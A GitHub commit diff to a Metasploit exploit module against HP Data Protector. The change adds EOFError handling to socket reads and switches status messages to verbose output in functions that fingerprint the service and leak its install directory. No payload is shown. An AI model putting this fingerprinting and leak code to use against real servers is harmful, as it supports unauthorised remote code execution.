Skip to content

Commit ca05c4c

Browse files
committed
Fix @wchen-r7's feedback
* use vprint_* on check * rescue get_once
1 parent 46bf8f2 commit ca05c4c

File tree

1 file changed

+35
-10
lines changed

1 file changed

+35
-10
lines changed

modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb

Lines changed: 35 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -83,9 +83,9 @@ def check
8383

8484
if fingerprint =~ /Data Protector A\.(\d+\.\d+)/
8585
version = $1
86-
print_status("#{peer} - Windows / HP Data Protector version #{version} found")
86+
vprint_status("#{peer} - Windows / HP Data Protector version #{version} found")
8787
elsif fingerprint =~ / INET/
88-
print_status("#{peer} - Linux / HP Data Protector found")
88+
vprint_status("#{peer} - Linux / HP Data Protector found")
8989
return Exploit::CheckCode::Detected
9090
else
9191
return Exploit::CheckCode::Safe
@@ -151,7 +151,12 @@ def get_fingerprint_linux
151151
connect
152152

153153
sock.put([2].pack("N") + "\xff\xfe")
154-
res = sock.get_once(4)
154+
begin
155+
res = sock.get_once(4)
156+
rescue EOFError
157+
disconnect
158+
return nil
159+
end
155160

156161
if res.nil?
157162
disconnect
@@ -160,8 +165,13 @@ def get_fingerprint_linux
160165
length = res.unpack("N")[0]
161166
end
162167

163-
res = sock.get_once(length)
164-
disconnect
168+
begin
169+
res = sock.get_once(length)
170+
rescue EOFError
171+
return nil
172+
ensure
173+
disconnect
174+
end
165175

166176
if res.nil?
167177
return nil
@@ -176,7 +186,7 @@ def get_fingerprint_windows
176186
sock.put(rand_text_alpha_upper(64))
177187
begin
178188
res = sock.get_once(4)
179-
rescue ::Errno::ECONNRESET
189+
rescue ::Errno::ECONNRESET, EOFError
180190
disconnect
181191
return nil
182192
end
@@ -188,8 +198,13 @@ def get_fingerprint_windows
188198
length = res.unpack("N")[0]
189199
end
190200

191-
res = sock.get_once(length)
192-
disconnect
201+
begin
202+
res = sock.get_once(length)
203+
rescue EOFError
204+
return nil
205+
ensure
206+
disconnect
207+
end
193208

194209
if res.nil?
195210
return nil
@@ -212,7 +227,12 @@ def leak_hp_directory(rand_exec)
212227
])
213228

214229
sock.put(pkt)
215-
res = sock.get_once(4)
230+
begin
231+
res = sock.get_once(4)
232+
rescue EOFError
233+
disconnect
234+
return nil
235+
end
216236

217237
if res.nil?
218238
disconnect
@@ -221,8 +241,13 @@ def leak_hp_directory(rand_exec)
221241
length = res.unpack("N")[0]
222242
end
223243

244+
begin
224245
res = sock.get_once(length)
225-
disconnect
246+
rescue EOFError
247+
return nil
248+
ensure
249+
disconnect
250+
end
226251

227252
if res.nil?
228253
return nil

0 commit comments

Comments
 (0)